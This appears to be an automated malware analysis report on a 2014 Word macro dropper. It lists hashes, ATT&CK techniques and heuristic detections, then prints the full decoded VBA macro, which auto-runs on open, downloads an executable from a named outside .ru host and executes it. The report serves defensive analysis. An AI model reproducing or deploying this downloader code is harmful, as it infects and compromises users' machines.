Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f9b14a5dc394294a…

MALICIOUS

Office (OLE)

42.5 KB Created: 2014-08-05 15:41:00 Authoring application: Microsoft Office Word First seen: 2014-08-17
MD5: 6469d26afa78b019168cf04f7ae72bf7 SHA-1: cd3ba78958ec106ec29b31f6f622f79308d6904c SHA-256: f9b14a5dc394294a7ad6ae836dc8f18cd78ae268bd780c24fffe4e4ad3bbb7ab
274 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains VBA macros with an Auto_Open function that calls a subroutine to download and execute a second-stage payload. The script constructs the URL 'http://bernisuperfilm.ru/uupdate2.exe' and saves the downloaded content as 'JGSNUWKJRFC.exe' in the user's home directory, then executes it. The document body prompts the user to enable macros, masquerading as a requirement for a newer version of Microsoft Office.

Heuristics 11

  • ClamAV: Doc.Malware.Valyria-10007934-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10007934-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim JHPDCNZXSQZ: JHPDCNZXSQZ = Shell(OZWQYRVFIHV, 1)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set JBVGVPDGEEF = CreateObject("MSXML2.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Glreg = Environ("HOMEDRIVE")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://bernisuperfilm.ru/uupdate2.exe In document text (OLE body)
    • http://office365.com/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1501 bytes
SHA-256: 9e50b6d338ae51e61ee21ed349e9e402ffbb831bc44d542667f9cbfc8a71a73f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
MCNATZUUOJP
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Function BRTXJQNJFKZ(ByVal EEVJOXHBSCG As String, ByVal OZWQYRVFIHV As String) As Boolean
     Dim JBVGVPDGEEF As Object, SHMVEWHPQVA As Long, UDTBTSWNZCS As Long, JVUNHBRYMXB() As Byte
gkdYhdl = "GKvkf43t"
    Set JBVGVPDGEEF = CreateObject("MSXML2.XMLHTTP")
qwr54g = "zzsf578"
    JBVGVPDGEEF.Open "GET", EEVJOXHBSCG, False
    JBVGVPDGEEF.Send "123dt"

    Do While JBVGVPDGEEF.readyState <> 4
    DoEvents
    Loop

    JVUNHBRYMXB = JBVGVPDGEEF.responseBody
fg43545 = "f453gdg"

    UDTBTSWNZCS = FreeFile
gkdYhdl = "GKvkf43t"
    If Dir(OZWQYRVFIHV) <> "" Then Kill OZWQYRVFIHV
gkdYhdl = "GKvkf43t"
    Open OZWQYRVFIHV For Binary As #UDTBTSWNZCS
gkdYhdl = "GKvkf43t"
    Put #UDTBTSWNZCS, , JVUNHBRYMXB
gkdYhdl = "GKvkf43t"
    Close #UDTBTSWNZCS
gkdYhdl = "GKvkf43t"
    
    Dim JHPDCNZXSQZ: JHPDCNZXSQZ = Shell(OZWQYRVFIHV, 1)
vx45j = "GsdfKvkfa43t"

    Set JBVGVPDGEEF = Nothing
    Glreg = Environ("HOMEDRIVE")
     
End Function
Sub MCNATZUUOJP()
    BRTXJQNJFKZ "http://bernisuperfilm.ru/uupdate2.exe", Glreg & "\JGSNUWKJRFC.exe"
End Sub

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